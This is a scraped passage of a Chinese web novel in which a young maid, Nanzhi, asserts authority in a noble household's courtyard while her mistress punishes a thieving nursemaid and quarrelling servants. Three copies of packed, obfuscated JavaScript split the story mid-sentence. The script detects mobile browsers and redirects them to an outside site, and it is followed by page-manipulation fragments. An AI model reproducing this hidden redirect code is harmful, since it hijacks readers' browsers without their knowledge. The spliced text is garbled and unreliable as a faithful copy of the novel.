;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15270902|166622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乖地应了。 见南枝往外走，春杏脑子一抽，问道：“南枝，你不住这儿吗？” “我住西厢房。” 等南枝身影消失不见，被震慑住的立夏才撅嘴，“可把她得意的。”她瞥了眼身后住十个人的大炕，那些被褥颜色不一，有的脏兮兮，好似没洗过。 春杏眼珠子一转，不知谋算些甚么，过去哄了立夏，又趁机献计，“立夏，不若明日咱们迟一些过去，教她等一等，出口气如何？” “可她不是让我们守时？”立夏犹豫。 “怕甚。”春杏瞧不上南枝，同样瞧不上立夏这扭捏的性子，不就是她娘说的，“想当暗娼还要立牌坊”吗？她继续诱道：“她又没说会罚，要是她罚那就更好了，咱们去找七姑娘做主，咱第一天来就让她作践了，想必七姑娘看不顺咧。” “况且，就迟一阵儿，也不妨事。” “成。”想起南枝那副大姐姐的做派，立夏脑热，答应。 * 白日不是南枝值守，她从后罩房出来原是打算回房睡觉，可满月忽的来寻她，神色焦急，“南枝，你先别睡，换了衣裳与我去茶水间当差，流云，流云暂且当不了差。” “诶，这就来。”南枝收拾妥当，匆匆赶到茶水间，心中疑惑流云怎的了，莫非是在吴妈妈那儿受了什么？ 毕竟昨个茯苓被七姑娘训斥了一顿，而且言明不会再把她调回大丫鬟的位子，茯苓急火攻心，一下子晕过去了。 吴妈妈不敢把火撒到七姑娘身上，会不会对流云说了甚？ 南枝的猜想很接近于真相，一墙之隔的主屋里，流云正抽抽搭搭地说道：“非我的过错，姑娘有所不知，我一去说明姑娘的意思，吴妈妈就拿着我来骂，说我是个没良心的小蹄子，从前恁照顾我，我却说这些戳她心窝子的话，还说我是不是蒙她，姑娘不可能对她这般无情……” “呜呜呜呜呜……她后头的一些话，我，我都说不出口，脏污得很，免得污了姑娘的耳朵……”流云哭的梨花带雨，翠平正扶着她给她擦泪，还劝她，“你且收着些，眼睛不要了？姑娘知道你委屈，不会让你白白受气。” “是了，再说，你说这些话，何尝不是在戳姑娘的心，难不成姑娘就不难受吗？”秋扇也说，随后，她注意到七姑娘的神色不是自我怨怼还有伤心，也就放下心来。 谁都听明白，吴妈妈指桑骂槐，借着骂流云实际上骂七姑娘。 从前吴妈妈与茯苓多少次伤了七姑娘，可七姑娘念着她们的情分，总是退让，以至于青竹轩的小丫头们不听七姑娘听吴妈妈，如今就好了，七姑娘不再心慈手软。 端坐的七姑娘面上带笑，重复问了一遍，“她果真这样说？” “流云不敢欺瞒主子。”流云说，只她眼底一闪而过的心虚正被七姑娘看在眼里。 瞧瞧青竹轩，一池子水，混得不行。 七姑娘嘴边笑意愈发深，视线抬高，隔空望着正院的方向。 “叩叩”敲门声过后，便是南枝的声音，“姑娘，奴婢烫了橘皮菊花茶，姑娘可要用。” 七姑娘内心一怔，又想起前些天南枝送上来的安神汤，语气有了真情实感，说道：“送进来。” 16. 立威 南枝送去火明目的菊花茶，一是为了在七姑娘跟前刷存在感，二是找个借口进来听一下八卦。 从旁人嘴里听见，总归是少了具体。 “姑娘请用茶。”南枝把茶放置在七姑娘手边，同时找了个不用退出去的理由，“奴婢头一回泡这个茶，姑娘若是觉着淡了浓了，奴婢下回再调整。” 七姑娘看了一眼正冒热气的菊花茶，点头，“你在这儿等着，过会儿我喝了再说。” “是。”南枝便站入了旁边的人堆里，正合她心意。 “姑娘，吴妈妈这般说，奴婢受点气无所谓，可重要的是姑娘您，她那等狼心狗肺的，还拐着弯觉得姑娘——”流云还想挑拨离间，可一抬头，正见七姑娘似笑非笑地看她，一时间，她被唬住了。 “这事莫急，流云，我桌上的赤金如意花枝簪子就赏你了，你差事办的好，该赏。”七姑娘淡声，“满月，带流云下去洗脸擦脸。” 等屋内只剩下三个丫鬟时，七姑娘才捧起茶盏，问道：“翠平，账务算的怎么样了？秋扇，库房里的物件核对好了吗？有没有缺斤少两。” “回姑娘的话，七个铺子中有五个铺子在夫人那儿，我不知内里，所以算不了。还有两个铺子，一个是卖糕点的点心铺，一个是卖布匹的布庄，账面上连年亏损，按照奴婢的算法，是该有赚的。”翠平变戏法似的从怀里拿出两本账本。 “启禀姑娘，奴婢仔细开库房核对了，其中有十二根银制的首饰、八根金制的首饰、五个碎纹朱雀登枝青瓷碗、三条锦绣丝帕以及两架屏风上面的七颗宝石不见了。”秋扇一口气说完。 南枝这才知道，她刚来的时候没见秋扇，原来她是偷摸去库房核对物件。还有翠平，也是一阵的忙。 “姑娘，这库房的钥匙先前是在吴妈妈手里。”秋扇说，言下之意，要么是吴妈妈监守自盗，要么是她监管不力，无论怎么样，她都是有错的。 “启禀姑娘，陈妈妈来了。” “老奴见过七姑娘，夫人让七姑娘去正院。” “何事？”七姑娘问。 “七姑娘去了便知道了。”陈妈妈遮遮掩掩，七姑娘冷笑，随后示意翠平与秋扇拿起账簿和记册一同前往。 南枝依旧留在茶水间当差，重新上了妆的流云进来，皮笑肉不笑地说道：“方才去送菊花茶，不赖嘛。我原以为教你点茶要废点子功夫，不过现在看来，以你的脑子，恐怕很快就学会了。” 她这是试探南枝，明明她与满月都觉得南枝愚笨，死脑筋，但她怎么突然去送菊花茶？还是说，谁提点她了？ “流云姐姐哪里的话，我姐姐教我，甭管甚么事，都要把姑娘的事放在第一位，我瞧姑娘把姐姐们叫进去那么久都没有一口水，便送茶，可是我出了甚么差错？”南枝眨着大眼睛，仿佛对流云的试探一无所知，还是一板一眼的当差。 流云语塞，她总不能说，我觉得你故意讨好姑娘，结果你跟我说，只是想为姑娘好，不求回报的当差。她当了恁久的差，一直都被茯苓压着，送茶端水也不能与七姑娘说上几句，谁成想，南枝一来，倒越过她了。 偏南枝还是一副榆木脑袋的模样，就这样也能比过她？流云生闷气，气着的时候还得教南枝点茶，见她脑子不灵光，打但手稳心细，也算学得快，就更生气了。 南枝可不会安慰流云，她只要从流云身上学到手艺，旁的一概不管。 如此学了一整个下午，南枝差不离掌握了一大半，她松了松筋骨，见七姑娘还没回来，便预备去厢房拿饭菜回来吃，不巧，正看见流云鬼鬼祟祟地出去。 没多想，南枝便跟上了。 流云与一个年纪相当的丫鬟到了花园的假山处藏着，南枝怕走近了让她们发现，躲在对面，翻译着她们的唇语。 “夫人”“七姑娘”“九姑娘”，又涉及到正院与青竹轩，待她们讲完预备离开，南枝快她们一步，抄近路躲在回正院的九曲十八弯的廊道上，正巧见那个丫鬟入了正院的门。 这回就错不了。 想不到，流云是五夫人的人。那丫鬟也没问什么，就问了些七姑娘的生活日常，流云没藏私，事无巨细地说了。 南枝表情微妙，把这事记在心里。 翌日，值了夜班的南枝回去睡到中午，随后起来准备教导立夏与春杏，只她在竹林下边等了有一会儿，还是不见她们。 忍着那一丝丝火气，南枝去往了后罩房。 还没靠近，就听见一阵欢声笑语，过后就是立夏的声音，在讲话本子。 “吱嘎”一声，门被推开，正哄着兴起的丫鬟们同时静了，齐齐看向门口。 南枝迈进去，扫了一圈，见都是年纪都在十二岁左右的丫鬟，围着春杏立夏，桌上还有花生瓜子，不用细看也知道有多高兴。 “玩够了？”南枝嗓音压下来，沉着脸的模样颇有几分气势，她也不问责其他丫鬟，而是只看立夏还有春杏，“姑娘让你们学规矩，特命我来教，怎么，你们要是不想学就尽早说，我也好去禀告姑娘，让你们家去当舒舒坦坦的姐儿，何必来院子当差。你们不想要这位子，多的是人要。” “再有，你们自己松懈归自己松懈，怎么还扯上其他丫鬟？万一姑娘怪罪下来，岂不是你们一起受罚？前段时间才罚了一片丫鬟，难不成你们又想青竹轩不得安宁？姑娘心善，知道了也未必会拿你们怎么样，只老夫人与夫人可不会由着你们反过来欺负主子，且等着，下回我陪姑娘去见老夫人，有你们的好。” 一通棒子打下来，已然叫这几个丫头头晕脑胀，其中一个面容平平的急急忙忙出声，“南枝，南枝姐姐，我们不知道她们今个要跟你学规矩，也不是有意拖着她们，是春杏寻了我们，说是立夏从自个家带了糕点来，请我们一道喝茶吃点心，再听故事。”那丫鬟都要恨死这俩人了，犯错扯上她们做甚！ 旁的丫鬟们也反应过来了，立夏与春杏找她们，无非是想南枝问责时她们多个帮手。 南枝也明白，所以她并没有开口训斥她们，而是先骂罪魁祸首，等这些丫鬟明白过来，自然会在她面前承认错误，她们不会怨她管事，相反，还得谢她点明这事。 “南枝姐姐，我们是真的不知道她们有事，要是知道，肯定不会在这儿听她们讲话本子。” “是，还请南枝姐姐体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15270903|166622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谅，不要把这事告诉给姑娘。”院里才乱了几日，她们要是这会儿出头，指不定要被撵走。 拢共三个丫鬟，都认了自己有错，可把立夏与春杏看得目瞪口呆，她们如何也没想到，方才还称姐姐妹妹的三人，这会子倒是把错都推到她们身上。 “不管是不是第一次，我都不好宽恕，不然姑娘问起来，我也难做。这样吧，你们三个把院子扫一遍，再擦一擦廊柱子，有人问起就说你们自个勤快，如此将功补过，也就算了。”南枝端起范，行事自有一股大丫鬟的派头，丝毫看不出她才不到九岁。 扫洒原就是这三人的活，教她们做一遍，也不碍事，三个丫鬟相互看一眼，忙不迭地谢南枝，“谢南枝姐姐，我们知道了，这就去。” 出了门，心里还念着南枝心地善良，她们犯了错也不以此要挟。又见了她处事有自个一套章程，心里对她敬重了不少。 “你们两个随我出来。”南枝看都没看她们，转身便走了，丝毫不担心两个蠢货不跟上。 “我们快去。”立夏胆子小，很快就跟上了。春杏在后头，想着南枝指使时的威风，一边不忿，一边又代入自个。 幻想着自己往后当了姨娘，比这还要威风光彩哩！ “规矩，甚么是规矩？行事不出错是规矩，如何称呼如何行礼也是规矩，甚至你们的一言一行，走路时帕子摆动幅度不能过大，也是规矩。”南枝淡淡说，“还有，站姿也是规矩，需得挺直收腹，瞧你们歪七扭八的样子。” “南枝，你要的碗。”陈小娘子匆匆赶来，她手里捧着两个海碗，里头装满了清水。 “给她们，一人一个，顶在头上。”南枝吩咐。 “甚么？我们？”甭说是立夏，就连春杏，也不可置信。 “南枝，你不能因为姑娘让你教我们就趁机作践我们，这是规矩吗？”春杏最受不得苦头，当下就嚷嚷开。 “那就不做了，保持这个声音，随我去见姑娘，届时我向姑娘一一陈述你们的所作所为，再求情，让你们回家当姑奶奶，也不必来这儿。”南枝轻飘飘一句话，治住了她们。 “不想走就站定，把碗顶着，先顶一个时辰，明日要不要顶，再看你们的表现。”见她们老老实实接过碗，南枝就说，“别想着偷懒，瞧见方才与你们一起吃喝的人了吗？她们在扫地，帮我监督你们，要是抓到你们偷懒，来我这儿有赏。” 立夏与春杏余光瞧见南枝走向扫地擦柱的丫鬟，不知她说了甚么，那三个丫鬟眉开眼笑，时不时还看她们，这叫她们确定，三个才得了好处的小蹄子，现在叛变，给南枝做事，看守她们。 “南枝姐姐放心，我们不辛苦。”得知南枝不会把她们躲懒的事告诉姑娘，小丫鬟们也就松了气。 只是心中不免恶了立夏还有春杏，竟把手段用到她们身上，于是这三人恶狠狠地盯她们。 南枝拂袖，让这三个丫鬟出来扫洒，除了是罚，第二层就是帮她盯着，也不需要她开口，不对付的人就自行找对方错误了。 如此两方相互看管，谁出了错，她都能第一时间知道，也不用她费心思亲自盯着。 岂不美哉！ 17. 闹事 临近酉时，青竹轩忽的嘈杂起来，南枝正从厢房出来，见这情形与文儿咬耳朵，“这是怎的了？那被押着的可是吴妈妈？” 她只见过吴妈妈几回，不熟，但认得脸，只是这会儿的吴妈妈丝毫没有了往日那等气派。 披头散发，脸上还有巴掌，只怕脸都丢尽了。 “正是。”文儿下午当值，原是打算去用饭，见此也不急了，慢慢说道：“说是七姑娘理顺了库房的物件，发现少了三十五件东西，有些还是先夫人的陪嫁，一查，那库房钥匙一直被吴妈妈把着，才给了秋扇没十天半月，所以吴妈妈有错。” 从前她被吴妈妈压了许久，如今见她落魄，没了往日的稳重沉静，竟噗嗤一声笑出来。 “而且，之所以是今日才把她带回来，是因为昨天五夫人派人去搜她家，找出了一部分首饰，剩下的都被她当了，当票子都有，千真万确抵赖不得，彻底定了她的罪。现在教她回来把偷盗每一件首饰的时间都说清楚，要记下来的。”一旁的翠平也恨恨地啐了口，“真是不要脸，连姑娘的东西都偷，往常姑娘也没有薄待她，在这青竹轩，谁不给她面子？” 按照她说，合该不给吴妈妈脸面，直接赶走，亦或是罚一场，再教她干苦活，如此她才能知错。 “姑娘，七姑娘，您行行好，饶我一次吧……”吴妈妈嗓子像公鸭子叫唤那般粗哑，可见是喊了许久。 “那茯苓呢？”南枝又轻声问，茯苓是吴妈妈的女儿，她当真不知吴妈妈偷盗？ “吴妈妈一口咬定是她贪心，与茯苓无关，姑娘便让茯苓留下了。”翠平有些不了解七姑娘如何想的，照这般，岂不是便宜了茯苓？ 见着吴妈妈被五花大绑着入了主屋，看热闹的丫鬟们便散了。 南枝来到竹林边，这儿阴凉，哪怕六月太阳毒辣，竹林也不会闷热，立夏与春杏脸颊微红，额头冒汗，衣裳也湿湿的贴在身上，但状态还行，没有晕厥。 “还不错，没有偷懒。” 立夏咬牙切齿地想，她哪里敢偷懒？那边三个人六只眼睛紧紧盯着，教她动一下都不敢。 春杏更恨南枝了，原本大家都是一样的丫鬟，可她一朝走运，竟也能惩罚她，简直比立夏更加可恶！ 人就是这样，见不得他人好。 “可以了，明日还是这个时候，若是迟了半点，就加半个时辰，继续练。” “知道了。”立夏有气无力地说道，站了一天，腿仿佛不是她的，她缓了许久，听见春杏与她说，“立夏，咱们就这样算了吗？” “什么？” “咱们刚进来就被她欺负，往后可怎么熬啊？”春杏打着算盘，她想的是跟她姐姐春兰一样作个姨娘，后半辈子泡在荣华富贵中。进了青竹轩，若是能作七姑娘身边的得意人，往后给姑爷做妾也成，可她不受南枝喜欢，在青竹轩呆不长久。 如此就只能谋算，脱离这青竹轩。 春杏瞧着喜怒哀乐都在脸上的立夏，暗想：她姐姐教她的手段，说动立夏对付南枝，随后她借机离开，等她们斗个两败俱伤，她从中得利。 “还能怎么熬，就这样。”立夏从小娇纵，哪里见识过这等磋磨的手段，早怕了。可不敢再动歪脑筋，又恼春杏出的法子，骂她，“你看看你的馊主意，害得我丢脸，早知就不听你的了。你别挨着我，要不是那日你头上戴个大红花，我哪里能被七姑娘瞧上。” 前个还互称姊妹，今个就闹翻了脸。 春杏憋着气，不回嘴，要是立夏怒了她，回去告状，她那个势利眼的娘能打她一顿。 “立夏，南枝，都是小贱.人，等我来日当了主子，有你们的好，到时候看我怎么对付你们。”春杏独自一人在竹林边，愤怒地踢了一脚竹子，被戳到了，又捂着脚单脚跳，好不招笑。 * “你们做甚？你们做甚？反了天了，你们凭甚动我的东西，都给我住手，住手！”后罩房传出来的动静，仔细一辨别，是茯苓的声音。 此时快到戍时，正是南枝当值。她已经把流云教的点茶手法学了一小半，自个静心练着，听闻声响，开门走出去。 院子里比以往要冷清，七姑娘带了几个丫鬟，押着吴妈妈去了福寿堂，故而一旦有风吹草动，总是比平日要惹人注意。 “南枝姐姐，你快去瞧瞧，她们，她们打起来了。”双儿急匆匆跑来，她原想找翠平，但她不在，她看着南枝说道：“姐姐们都跟着姑娘出门了，还请姐姐快些去拿个主意。” 甭看她比南枝大两三岁，但南枝行事有章程，而且早上又把几个底下的丫鬟训了一顿，如今她们都乖乖的，不敢在南枝面前拿乔了。 “这是怎的了？”南枝边走边问，不禁皱眉，这也太难闹腾了。 “是，是冬霜她们几个，说茯苓偷拿了她们的东西，所以把茯苓的东西都拿出来翻找，茯苓自然不肯，说她们不问自取，这就吵起来了。”双儿不敢隐瞒，马上说了。 冬霜？南枝拧眉，她虽来的时间不长，但也见过冬霜唯流云马首是瞻的模样，这事……单单是冬霜她们不忿还是背后有人指使？ 后罩房内，地上以及炕上都乱糟糟一片，甚么衣裳、罩衣、小裤、手帕、零零散散的首饰，一些干果糕点、还没做完的鞋垫子…… 茯苓像是被激怒了，一人对战三人，薅头发扯衣服，竟也不落下风，嘴里还不停地骂道：“一群不要脸的小蹄子，也敢欺负到我头上，也不想想从前是谁提携你们的？狼心狗肺的玩意儿，啊呸，今个我遭殃了，明个就到你们，不要以为我下来了，你们就能上位，想都别想……” “呸。”冬霜端的是彪悍，头发散了一半，脸颊带了猫抓似的红血丝，一口唾沫吐在茯苓脸上，反骂道：“你也不瞧瞧你自个，从前怎么指使欺压我们，趁着姑娘不大管事，你倒是抖擞起来，提携？你也好意思说这个词，要不是你，我岂能一直当个提水的粗使丫鬟，我知道你记恨我当时进院子没有请你吃饭没有给你送礼，你才是最该滚出青竹轩的人。” 还有其他两个丫鬟也异口同声地怒道：“对，出了这院子。” “你就不配来！” 南枝扫了眼巧热闹的人堆，喝道：“还不快把她们拉开，你们光看着，待她们成这样，就没错了？” 年轻的丫鬟们面面相觑，后知后觉反应过来，但一时没人动，一是南枝年纪小，二来，她们到底与冬霜她们相处更久，日日都见的，吃酒喝茶不知多少回，要是这回过了，她们还在院里，岂不是撕破脸皮？ 立夏被吓到了，身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15270904|166622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比脑子更快行动，正想上前，被春杏拉住。这头彩就被双儿与慢几步来到的陈小娘子夺去了，陈小娘子坡脚，但手又稳又快，一下子分开两个，又捧了梳妆台上唯一一个铜镜来，看重样貌的冬霜一下子尖叫，不用动手就自个松开了茯苓的衣袖，倒在被子上盖着脸哭。 “南枝姐姐，你小心脚下。”存在感不强的红叶捡起几件衣裳，替南枝开出了一条路。 南枝走到茯苓面前，面无表情地问道：“挨个说怎么回事，你先开始。” “……我刚从外边回来，”茯苓情绪还没有稳定，抽着气回答道：“就见她们翻我的箱子，你看，地上这些，都是我的，还有我的首饰，这几个偏要说我偷了谁的，这些明明就是我自个攒回来的。”几个珠钗宝串碎了一地，茯苓心疼坏了，她恶狠狠地瞪着那几人，恨不得再打上几个来回。 “你们瞧瞧，把我东西摔成这样，照赔！” 一听见要赔，不待轮到她们，冬霜先开口了，“凭甚要我们赔？谁知道这些是不是你偷来的？吴妈妈那样的娘，生出你这样的姐儿，说不准把你娘本事学了个十足。”原先还怕吴妈妈回院里，可这会儿吴妈妈也倒了，她们还怕个甚！ 多少把积压的气泄出来！ “你！”茯苓眼泪跟不要钱一般唰唰的流，两旁脸颊火烧火燎，她娘还不知道去向如何，她就被从前看不上的丫鬟欺负，往后还要贴上“不干净”的几个字。她不再辩解，低着头收拾地上的物件，颇有凄凉的模样。 冬霜几个脸上顿时浮现出得意，像是打了胜仗。 “闹够了？满意了？”南枝扫视一圈，特意瞧了陈小娘子一眼，“帮她一起收拾。” 陈小娘子“诶”了一声，照做。 “我管不着你们以前闹了甚么不对脸的事，也管不着你们心里是因为甚么才闹起来，不过，姑娘命我当这二等的丫鬟，院里暂时又没有姐姐们做主，我也就当这一回的主事。”南枝沉着脸，因着不再梳双丫髻以及脸上点了胭脂，整个人褪去稚嫩，有了几分领头的威严，她逐一看去，被她看着的丫鬟躲躲闪闪，不敢直视。 她说，“不管是不是一起共事的丫鬟，无凭无据就说人家偷东西，那往后我看谁不顺眼，便也可以借着这个理由去翻人家东西，闹腾一场出口气？谁愿意当这被欺负的人，举个手我看看。” 鸦雀无声，没有人动。 “既一个都没有，那便是你们都知道，这是没理的事。冬霜，晴儿，宝丰，你们三个无确切证据就说茯苓偷盗，且没有禀报给姑娘做主，就是有错。这样的大事，唯有请姑娘来决断。”见三人面上松动，南枝又说，“可我也得表示我的态度，你们四个，去正屋门前跪着，教姑娘一看就知道你们犯错。” “跪着？”宝丰惊叫，被南枝一个眼刀子甩过来，瞬间哑口。 “我为何也要跪？”茯苓忍不住出声。 “你应该找姑娘为你做主，而不是演变为互殴，还把房内东西砸个遍。”南枝不偏袒一方。 “还有你们，在一旁由着她们胡闹，便在她们后面站着，直到姑娘回来为止。若不听，罪加一等。” 半刻钟后，南枝站在正屋的台阶上，面前跪着四个丫鬟，再后面，站着三排，所有人都低着头，不敢与她对视。 18. 鸡丝凉面 七姑娘才从福寿堂出来，便被叫住了，“奴婢见过七姑娘，姑娘快些回去吧，青竹轩有丫鬟闹事。” “嗯？”这又是前世没有出现过的事，七姑娘只惊诧一瞬间就很快接受了，问道：“我好似没见过你，你叫什么，在哪里当差？” 一瘸一拐带路的人回答，“回姑娘的话，奴婢是青竹轩小厨房厨娘陈大娘子的妹妹，旁人都叫我陈小娘子，我没有当差，只在厨房内帮着我姐姐打下手，也为侍奉姑娘尽一些心意。”待说完这番话，她的心如捣鼓般跳着，不由得忐忑：也不知南枝教她的话，能否让七姑娘满意。 “原来如此。”七姑娘心里有了想法，接下来又听陈小娘子复述发生的事，便夸了南枝一句，“不错，她行事有章程，院里就该有她这样办事的人才好。” 陈小娘子打心底为南枝高兴，秋扇欣慰，翠平认可，满月撇嘴，倒是流云反应最大，嘴角抽搐不说，不屑与嫌恶都摆在面上，得亏她走在最后，不然定教人看见。 在远远看见七姑娘回来时，南枝便小跑过去行礼，随后只站在台阶下面，等着七姑娘发话。 “我都知晓前因后果了。”翠平与满月搬了椅子来，七姑娘坐下，先看了满脸花纹的茯苓，心中无比畅快，茯苓啊茯苓，你也有今日。 这样背主忘恩的人，合该一辈子痛苦。这也是她把吴妈妈赶出李府，而独独留了茯苓的原因。 她再也不会给茯苓踩着她上位的机会，只会让她在青竹轩蹉跎一生。 “茯苓。”七姑娘唤道，待茯苓抬头，她就笑着问道：“冬霜几个说你偷她们东西，这事我是不信的。” 茯苓脸上蹦出笑容，偏偏她妆容全部哭花了，给人的感觉只有滑稽。 七姑娘被她逗笑，又慢慢说道：“你素来只用我的东西，如何看得上她们的呢？只是不屑于去偷她们那些罢了，偷我的却是起兴得很。” 茯苓呆了，反应了许久才哭着跪行向前，还辩解求饶，“姑娘明鉴，我，奴婢，奴婢怎敢偷姑娘的东西？”她这会儿也顾不得攀扯与姑娘的交情了，只一个劲儿地说道：“姑娘，我真的没有拿姑娘的东西。” “是吗？” “不说远的，只说最近，你头上戴的莲花簪子我原是打算祖父生辰那日戴，是你说你近日要相看夫婿，所以还没问过我就抢了去戴，这不算偷？更别提从前你拿了多少。”七姑娘冷笑，茯苓奸滑又精，也不要她赏赐，只说是借，借着借着就没有了下文。 “还有，你娘吴妈妈在老夫人面前也认了，偷库房的东西去变卖，得到的银钱去外头买房买金银买上等水田，一部分花在了你身上。你难不成不清楚？”七姑娘问，同时双眼死死盯着茯苓，果不其然，瞧见了她的心虚。 怎么可能不清楚？她娘不过是一个奶妈妈，一个月月例加上赏赐再多也不过一两银子，这还是年节才有的呢，平常就更少了。如何能买房买田，甚至家里面还买了两个小丫头伺候？ “身为女儿，你怎么可能不知道？端看看你身上手上戴了多少首饰，出去一看，旁人还以为你是姑娘。” 七姑娘想起老夫人说的话，府里的人见茯苓那么招摇，都以为是她这个主子管教不善，让奴婢抖起来，她们神气了，对其他奴仆就呼来喝去，作为主子，她的名声就这般一步步变坏。 可见人是不能懦弱，不然奴仆都敢翻身压上来。七姑娘更加坚定了要自立，往后谁也不能欺负她。 “吴妈妈犯错，你也有错，不过她是明知故犯，你那时候年岁不大，罪轻一些。老夫人本想教你与吴妈妈一同扭去官府，我替你求了情，往后，你在青竹轩当差，什么活最粗重，就干什么。不再有月例，逢年过节也没有年节赏赐，如此偿还你与你娘偷盗的数额。” 茯苓失了魂，没有月例？干最粗苯的活计？那她这下半生，还有甚么指望？ 七姑娘嘴角的笑意愈发深，这还是第一步，当初是谁让吴妈妈成为她的奶妈妈？是谁茯苓进她院子的？便是眉目慈和的五夫人，她也别想跑的掉。 一个都别想。 “至于你们，我不过出去一趟，你们打量着院子里的大丫鬟们不在就闹，把南枝放哪里？她年纪比不得你们，却是正正经经领二等的份例，就有教导指使你们的权力，你们不把她放眼里，便是不把我放眼里。” 被提到的南枝眉心动了动，她让陈小娘子把几人闹得事一字不落说给七姑娘听，一则把她摘出来，定性是她们闹事，与她监管不相干。二则，不管这事有没有其他人在背后怂恿试探，今儿冬霜几个都别想善了，把她们几个按下去，她才好把跟她的陈小娘子推上来。 左边有一道目光灼热地刺着她，待南枝看去，又找不见了人。 会是谁呢？ “你们既然这般厉害，明日我就禀了母亲，把你们调出去，大厨房地方够大，你们就去那闹，青竹轩庙小，装不下你们。”七姑娘早就烦了这几个，谁得意她们就凑上去，谁落难就使劲儿踩两脚，有个正当理由赶出去，擎好！ “姑娘，姑娘您就饶了我们——”求饶的话戛然而止，秋扇招手让后边的两个粗使婆子捂嘴带走了她们仨人，陈小娘子搭了把手，也一并去了。 “甚么是好性儿，甚么是坏性儿？今日你们就睁大眼睛看个仔细，明儿当差就知道怎么做了。冬霜的位子就由陈小娘子当了，其余两个，先空着。”七姑娘也不说那种狠话，只温温柔柔地罚了看热闹的丫鬟，“以后扫洒倒水的活就由你们来做，待新的丫鬟选进来了，才能免。” “南枝做得好，赏三个月的月例，从我私库出。” “是，奴婢多谢姑娘。”南枝大大方方受了。她与七姑娘各有好处，恩威并施，往后也有利于她当差。 待散了，流云过来庆贺，“可真厉害，这回她们定服你。有这样的好事，不摆上几桌贺一贺？” 冬霜罚走了，南枝与流云如今只剩下面子情，闻言，南枝也笑，只是笑意不达眼底，“流云姐姐着甚么急，这都是差事，分内之事而已。且到来日我把姐姐教的点茶都学会了，再摆酒席也不迟。”这是提醒流云，别忘了收了她的银钱要教她。 再如何勾心斗角，立身的本领也总要学透。 “忘不了。”流云声音甜滋滋，也同南枝一样，演戏哩。 七姑娘体恤，特意让茶水间当差的南枝免了这几日的值夜，故而南枝一觉睡到了第二日响午。 才开门，双儿送了饭菜来，南枝刚洗漱完，问她，“还有谁跟你一样送饭？”往常这活是宝丰她们干的。 “回南枝姐姐的话，是红叶还有新来的春杏。”双儿老老实实地回答，言语间尊重了许多。 “陈小娘子呢？她没有跟着你们干活？”按道理，陈小娘子自个想不到这些，陈大娘子也会提点。 “没呢，她一大早起来扫了地儿倒了夜香，这会儿又回去小厨房帮着烧火。姐姐不知道，大厨房来的那个厨娘已经好了，能当差，故而来做饭做菜。这儿有一道凉菜，还是她给姐姐们的。” 自从老夫人敲打过大厨房后，她们这些丫鬟的饭菜也跟着水涨船高，比往常好了不少，起码不再油腻冰凉。桌上一共四个菜，一道凉拌黄瓜木耳萝卜，一道酸辣土豆丝，一道蒸鸡，一道笋干炒鸡蛋并四碗饭，都是热气腾腾，油腥味不重。 “知道了。”南枝点头，不多时，翠平还有满月回来了，寻了凳子各坐一边吃了起来。 “我昨个看见姐姐手上拿了几匹布，可是老夫人赏的？”南枝问满月。 “是，老夫人说姑娘受苦，故而赏了好些东西。姑娘教秋扇把布匹拿去外头制几身鲜艳衣裳，正好夏日避暑穿。”满月应了，难得的，她有些走神，不知在想甚么，连吃饭都是心不在焉，草草几口了事。 很快，她便出去了。 “翠平姐姐，满月姐姐怎的了？” “她啊，苦恼着婚事。才刚，服侍姑娘用膳时也这副模样，姑娘便问了她。原是她嫂子来了，说她哥哥在外头行走认识一个行商，家中有几分银钱，想为她赎身好娶她过门作正室。”说这话时，翠平难得表情丰富了些，想到了自个。 于她们这些奴婢来说，甭管是外头买进来的还是家生子，只要卖身契在主子那里，一日没有赎回来，便只能嫁给同为奴的小厮，有的爹娘不做人，甚至强行让女儿嫁给那些管事老爹，以谋取利益。 要是满月能恢复自由身，往后自有一番前程。 “我吃饱了，先去替流云姐姐。”南枝了然，却也不知道怎么安慰翠平，怎么说都不对味，还不如不说，多说多错。 待到了茶水间，却见流云呆呆地望着窗外，整个人木了一般。 连南枝进来的动静都没有听见，这是怎的？ “我今个教你如何辨茶，先捧起茶盏，闻一口，左边这杯是阳春毛尖，右边这杯是信阳子，没喝过或是不精通此道的就容易混散……” 坦白来讲，流云哪怕与南枝不对付，但既然收了她的银钱，教导起来也算尽心尽力，只她看完南枝学习的速度后，不止一次后悔，要是当初不贪那点钱，不教她就好了。 要是南枝学会点茶，往后在七姑娘跟前，她就不是唯一一人。 待神情飘飘然的流云走后，南枝又独自练了许久，她差不离全部学会了，只不过压着，也想给自己巩固的时间。 茶水间当差很清闲，左不过是泡茶洗茶具，有可能一天都不需要费神。 “南枝，姑娘寻你。” 